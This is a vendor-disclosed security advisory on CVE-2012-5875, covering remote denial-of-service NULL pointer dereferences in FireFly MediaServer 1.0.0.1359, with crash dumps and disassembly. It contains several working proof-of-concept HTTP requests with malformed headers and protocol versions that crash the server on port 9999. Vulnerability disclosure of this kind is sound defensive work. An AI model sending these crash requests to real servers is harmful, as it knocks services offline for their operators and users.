FireFly Mediaserver 1.0.0.1359 - Null Pointer Dereference

Advisory ID: HTB23129
Product: FireFly Mediaserver
Vendor: FireFly
Vulnerable Version(s): 1.0.0.1359 and probably prior
Tested Version: 1.0.0.1359 in Windows 7 SP1
Vendor Notification: November 21, 2012 
Public Disclosure: December 19, 2012 
Vulnerability Type: NULL Pointer Dereference [CWE-476]
CVE Reference: CVE-2012-5875
CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
Risk Level: Medium 
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab has discovered multiple remote denial of service (DoS) vulnerabilities in FireFly MediaServer, which could be exploited by a malicious person to crash a remote server.


1) Multiple NULL pointer dereference vulnerabilities in Firefly MediaServer: CVE-2012-5875

1.1 The vulnerability exists due to improper handling of the HTTP CONNECTION header within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to 9999/TCP port (FireFly's server default port) with improper CONNECTION header value, leading to a NULL pointer dereference that will cause vulnerable server to crash immediately.

Crash Details:

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 (  24506088) -> xxxxxxx_xxxx_ (stack)
EBX: 00000000 (         0) -> N/A
ECX: 00000000 (         0) -> N/A
EDX: 0175eef0 (  24506096) -> n 0n-us,en;q=0.5U) (stack)
EDI: 0175eee8 (  24506088) -> xxxxxxx_xxxx_ (stack)
ESI: 0175eef5 (  24506101) -> 0n-us,en;q=0.5U) (stack)
EBP: 00708830 (   7374896) -> p3xpPppHFF../../../../ (heap)
ESP: 0175eed0 (  24506064) -> u0p xxxxxxx_xxxx_n 0n-us,en;q=0.5U) (stack)
  +00: 00000000 (         0) -> N/A
  +04: 00000001 (         1) -> N/A
  +08: 0175ff80 (  24510336) -> uw0</er<uuu\w@wu)|</er<uu|0|Aw<pv@vpx@ (stack)
  +0c: 00708830 (   7374896) -> p3xpPppHFF../../../../ (heap)
  +10: 00000000 (         0) -> N/A
  +14: 00000007 (         7) -> N/A


Disasm around:

  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,bl


Proof of Concept:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET / HTTP/1.1
Host: vulnhost.local
User-Agent: Mozilla/5.0 (Windows; U)
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: xxxxxxx_xxxx_
Referer: http://www.host.com



1.2 The vulnerability exists due to improper handling of the ACCEPT-LANGUAGE, USER-AGENT and HOST HTTP header parameters within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to port 9999/TCP with a malformed header containing a control character of return carriage ("\r\n") that will cause a NULL pointer dereference and immediate termination of the vulnerable server.

The following examples demonstrate the vulnerabilities:

a) ACCEPT-LANGUAGE

Crash details:

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 (  24506088) -> (stack)
EBX: 00000000 (         0) -> N/A
ECX: 00000000 (         0) -> N/A
EDX: 0175eef0 (  24506096) -> nguage /5.0 (Windows; U) (stack)
EDI: 0175eee8 (  24506088) -> (stack)
ESI: 0175eefa (  24506106) -> /5.0 (Windows; U) (stack)
EBP: 00708830 (   7374896) -> p3xxpppHFF (heap)
ESP: 0175eed0 (  24506064) -> u0pguage /5.0 (Windows; U) (stack)
+00: 00000000 (         0) -> N/A
+04: 00000001 (         1) -> N/A
+08: 0175ff80 (  24510336) -> uw0</er<uuu\w@wu)|</er<uu|0|Aw<pv@vp x (stack)
+0c: 00708830 (   7374896) -> p3xxpppHFF (heap)
+10: 00000000 (         0) -> N/A
+14: 00000007 (         7) -> N/A


Disasm around:

  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,bl


Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET / HTTP/1.1
Host: somehost.com
User-Agent: Mozilla/5.0 (Windows; U)
Accept-Language: en-us
en;q=0.5
\r\n
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.host.com



b) USER-AGENT

Crash details

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 (  24506088) -> xxxxxxx (stack)
EBX: 00000000 (         0) -> N/A
ECX: 00000000 (         0) -> N/A
EDX: 0175eef0 (  24506096) -> t t (stack)
EDI: 0175eee8 (  24506088) -> xxxxxxx(stack)
ESI: 0175eef5 (  24506101) -> t (stack)
EBP: 007087d8 (   7374808) -> p>ppPp<p (heap)
ESP: 0175eed0 (  24506064) -> upxxxxxxxt t (stack)
  +00: 00000000 (         0) -> N/A
  +04: 00000001 (         1) -> N/A
  +08: 0175ff80 (  24510336) -> N/A
  +0c: 007087d8 (   7374808) -> p>ppPp<p (heap)
  +10: 00000000 (         0) -> N/A
  +14: 00000007 (         7) -> N/A


Disasm around:

  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,bl


Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET / HTTP/1.1
Host: somehost.com
User-Agent: 
xxxxxxx
\r\n
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.host.com



c) HOST

Crash Details:

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 (  24506088) -> xxxxxxx (stack)
EBX: 00000000 (         0) -> N/A
ECX: 00000000 (         0) -> N/A
EDX: 0175eef0 (  24506096) ->  (stack)
EDI: 0175eee8 (  24506088) -> xxxxxxx (stack)
ESI: 0175eeef (  24506095) ->  (stack)
EBP: 00708830 (   7374896) -> p!ppp\pHFF"& (heap)
ESP: 0175eed0 (  24506064) -> u0pxxxxxxx (stack)
+00: 00000000 (         0) -> N/A
+04: 00000001 (         1) -> N/A
+08: 0175ff80 (  24510336) -> N/A
+0c: 00708830 (   7374896) -> p!ppp\pHFF"& (heap)
  +10: 00000000 (         0) -> N/A
  +14: 00000007 (         7) -> N/A


Disasm around:

  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,bl


Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET / HTTP/1.1
Host: xxxxxxx\r\n
User-Agent: Mozilla/5.0 (Windows; U)
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.host.com



1.3 The vulnerability exists due to improper handling of the HTTP POST and GET methods within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to 9999/TCP port with an improper HTTP POST or GET request containing an erroneous HTTP protocol version, or one or more control characters of return carriage ("\r\n") leading to a NULL pointer dereference that will cause the vulnerable server to crash immediately.

The following examples demonstrate the vulnerabilities:

a) HTTP POST

Crash details:

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 (  24506088) -> xxxxxxx (stack)
EBX: 00000000 (         0) -> N/A
ECX: 00000000 (         0) -> N/A
EDX: 0175eef0 (  24506096) ->  (stack)
EDI: 0175eee8 (  24506088) -> xxxxxxx (stack)
ESI: 00000001 (         1) -> N/A
EBP: 007087d8 (   7374808) -> ppPpatp (heap)
ESP: 0175eed0 (  24506064) -> upxxxxxxx (stack)
+00: 00000000 (         0) -> N/A
+04: 00000001 (         1) -> N/A
+08: 0175ff80 (  24510336) -> N/A
+0c: 007087d8 (   7374808) -> ppPpatp (heap)
+10: 00000000 (         0) -> N/A
+14: 00000007 (         7) -> N/A


Disasm around:

  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,b


Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:

POST /index.html HTTP/
xxxxxxxx
.1



b) HTTP GET

Crash details:

EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 (  24506088) -> xxxxxxx (stack)
EBX: 00000000 (         0) -> N/A
ECX: 00000000 (         0) -> N/A
EDX: 0175eef0 (  24506096) ->  (stack)
EDI: 0175eee8 (  24506088) -> xxxxxxx (stack)
 ESI: 00000001 (         1) -> N/A
EBP: 00708830 (   7374896) -> p!pppHFF#) (heap)
ESP: 0175eed0 (  24506064) -> u0pxxxxxxx (stack)
+00: 00000000 (         0) -> N/A
+04: 00000001 (         1) -> N/A
+08: 0175ff80 (  24510336) -> N/A
+0c: 00708830 (   7374896) -> p!pppHFF#) (heap)
+10: 00000000 (         0) -> N/A
+14: 00000007 (         7) -> N/A


Disasm around:

  0x0041e206 jnz 0x41e223
  0x0041e208 mov edx,[ebp+0x4]
  0x0041e20b push edi
  0x0041e20c push edx
  0x0041e20d push dword 0x4525e0
  0x0041e212 push byte 0x2
  0x0041e214 push byte 0x2
  0x0041e216 call 0x40ea90
  0x0041e21b add esp,0x14
  0x0041e21e jmp 0x41e160
  0x0041e223 cmp byte [ecx],0x20
  0x0041e226 jnz 0x41e232
  0x0041e228 inc ecx
  0x0041e229 mov [esp+0x10],ecx
  0x0041e22d cmp byte [ecx],0x20
  0x0041e230 jz 0x41e228
  0x0041e232 mov eax,ecx
  0x0041e234 lea esi,[eax+0x1]
  0x0041e237 mov dl,[eax]
  0x0041e239 inc eax
  0x0041e23a cmp dl,bl


Proof of concept #1:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET /index.html HTTP/xxxxxxxx.1


Proof of concept #2:
The following HTTP request will crash the vulnerable Firefly server remotely:

GET /index.html HTTP/
xxxxxxxx.1




-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23129 - https://www.htbridge.com/advisory/HTB23129 - Firefly MediaServer Multiple Remote DoS vulnerabilities.
[2] Firefly - http://www.fireflymediaserver.org - Firefly MediaServer distributes your music, videos and photos easily over your network.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.